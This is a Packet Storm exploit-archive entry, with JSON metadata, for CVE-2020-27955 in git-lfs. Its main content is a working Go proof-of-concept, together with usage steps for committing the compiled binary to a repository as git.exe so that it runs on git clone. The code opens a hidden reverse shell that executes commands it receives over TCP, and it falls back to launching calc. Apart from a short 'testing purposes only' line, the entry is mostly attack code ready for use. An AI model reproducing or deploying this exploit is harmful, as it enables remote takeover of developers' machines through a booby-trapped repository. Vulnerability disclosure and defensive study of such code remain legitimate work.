ID PACKETSTORM:159923 Type packetstorm Reporter Dawid Golunski Modified 2020-11-06T00:00:00
Description
`/*
Go PoC exploit for git-lfs - Remote Code Execution (RCE)
vulnerability CVE-2020-27955
git-lfs-RCE-exploit-CVE-2020-27955.go
Discovered by Dawid Golunski
https://legalhackers.com
https://exploitbox.io
Affected (RCE exploit):
Git / GitHub CLI / GitHub Desktop / Visual Studio / GitKraken /
SmartGit / SourceTree etc.
Basically the whole Windows dev world which uses git.
Usage:
Compile: go build git-lfs-RCE-exploit-CVE-2020-27955.go
Save & commit as git.exe
The payload should get executed automatically on git clone operation.
It spawns a reverse shell, or a calc.exe for testing (if it
couldn't connect).
An lfs-enabled repository with lfs files may also be needed so that git-lfs
gets invoked. This can be achieved with:
git lfs track "*.dat"
echo "fat bug file" > lfsdata.dat
git add .*
git add *
git commmit -m 'git-lfs exploit' -a
Check out the full advisory for details:
https://exploitbox.io/vuln/Git-Git-LFS-RCE-Exploit-CVE-2020-27955.html
https://legalhackers.com/advisories/Git-LFS-RCE-Exploit-CVE-2020-27955.html
PoC video at:
https://youtu.be/tlptOf9w274
** For testing purposes only **
*/
package main
import (
"net"
"os/exec"
"bufio"
"syscall"
)
func revsh(host string) {
c, err := net.Dial("tcp", host)
if nil != err {
// Conn failed
if nil != c {
c.Close()
}
// Calc for testing purposes if no listener available
cmd := exec.Command("calc")
cmd.Run()
return
}
r := bufio.NewReader(c)
for {
runcmd, err := r.ReadString('\n')
if nil != err {
c.Close()
return
}
cmd := exec.Command("cmd", "/C", runcmd)
cmd.SysProcAttr = &syscall.SysProcAttr{HideWindow: true}
out, _ := cmd.CombinedOutput()
c.Write(out)
}
}
// Connect to netcat listener on local port 1337
func main() {
revsh("localhost:1337")
}
--
Regards,
Dawid Golunski
https://legalhackers.com
https://ExploitBox.io
t: @dawid_golunski
`
{"id": "PACKETSTORM:159923", "type": "packetstorm", "bulletinFamily": "exploit", "title": "git-lfs Remote Code Execution", "description": "", "published": "2020-11-06T00:00:00", "modified": "2020-11-06T00:00:00", "cvss": {"score": 0.0, "vector": "NONE"}, "href": "https://packetstormsecurity.com/files/159923/git-lfs-Remote-Code-Execution.html", "reporter": "Dawid Golunski", "references": [], "cvelist": ["CVE-2020-27955"], "lastseen": "2020-11-06T15:53:27", "viewCount": 152, "enchantments": {"dependencies": {"references": [{"type": "cve", "idList": ["CVE-2020-27955"]}], "modified": "2020-11-06T15:53:27", "rev": 2}, "score": {"value": 7.1, "vector": "NONE", "modified": "2020-11-06T15:53:27", "rev": 2}, "vulnersScore": 7.1}, "sourceHref": "https://packetstormsecurity.com/files/download/159923/git-lfs-RCE-exploit-CVE-2020-27955.go.txt", "sourceData": "`/* \nGo PoC exploit for git-lfs - Remote Code Execution (RCE) \nvulnerability CVE-2020-27955 \ngit-lfs-RCE-exploit-CVE-2020-27955.go \n \nDiscovered by Dawid Golunski \nhttps://legalhackers.com \nhttps://exploitbox.io \n \n \nAffected (RCE exploit): \nGit / GitHub CLI / GitHub Desktop / Visual Studio / GitKraken / \nSmartGit / SourceTree etc. \nBasically the whole Windows dev world which uses git. \n \nUsage: \nCompile: go build git-lfs-RCE-exploit-CVE-2020-27955.go \nSave & commit as git.exe \n \nThe payload should get executed automatically on git clone operation. \nIt spawns a reverse shell, or a calc.exe for testing (if it \ncouldn't connect). \n \nAn lfs-enabled repository with lfs files may also be needed so that git-lfs \ngets invoked. This can be achieved with: \n \ngit lfs track \"*.dat\" \necho \"fat bug file\" > lfsdata.dat \ngit add .* \ngit add * \ngit commmit -m 'git-lfs exploit' -a \n \nCheck out the full advisory for details: \n \nhttps://exploitbox.io/vuln/Git-Git-LFS-RCE-Exploit-CVE-2020-27955.html \n \nhttps://legalhackers.com/advisories/Git-LFS-RCE-Exploit-CVE-2020-27955.html \n \nPoC video at: \nhttps://youtu.be/tlptOf9w274 \n \n** For testing purposes only ** \n \n \n*/ \n \npackage main \nimport ( \n\"net\" \n\"os/exec\" \n\"bufio\" \n\"syscall\" \n) \n \n \nfunc revsh(host string) { \n \nc, err := net.Dial(\"tcp\", host) \nif nil != err { \n// Conn failed \nif nil != c { \nc.Close() \n} \n// Calc for testing purposes if no listener available \ncmd := exec.Command(\"calc\") \ncmd.Run() \nreturn \n} \n \nr := bufio.NewReader(c) \nfor { \nruncmd, err := r.ReadString('\\n') \nif nil != err { \nc.Close() \nreturn \n} \ncmd := exec.Command(\"cmd\", \"/C\", runcmd) \ncmd.SysProcAttr = &syscall.SysProcAttr{HideWindow: true} \nout, _ := cmd.CombinedOutput() \nc.Write(out) \n} \n} \n \n// Connect to netcat listener on local port 1337 \nfunc main() { \nrevsh(\"localhost:1337\") \n} \n \n \n-- \nRegards, \nDawid Golunski \nhttps://legalhackers.com \nhttps://ExploitBox.io \nt: @dawid_golunski \n \n \n`\n"}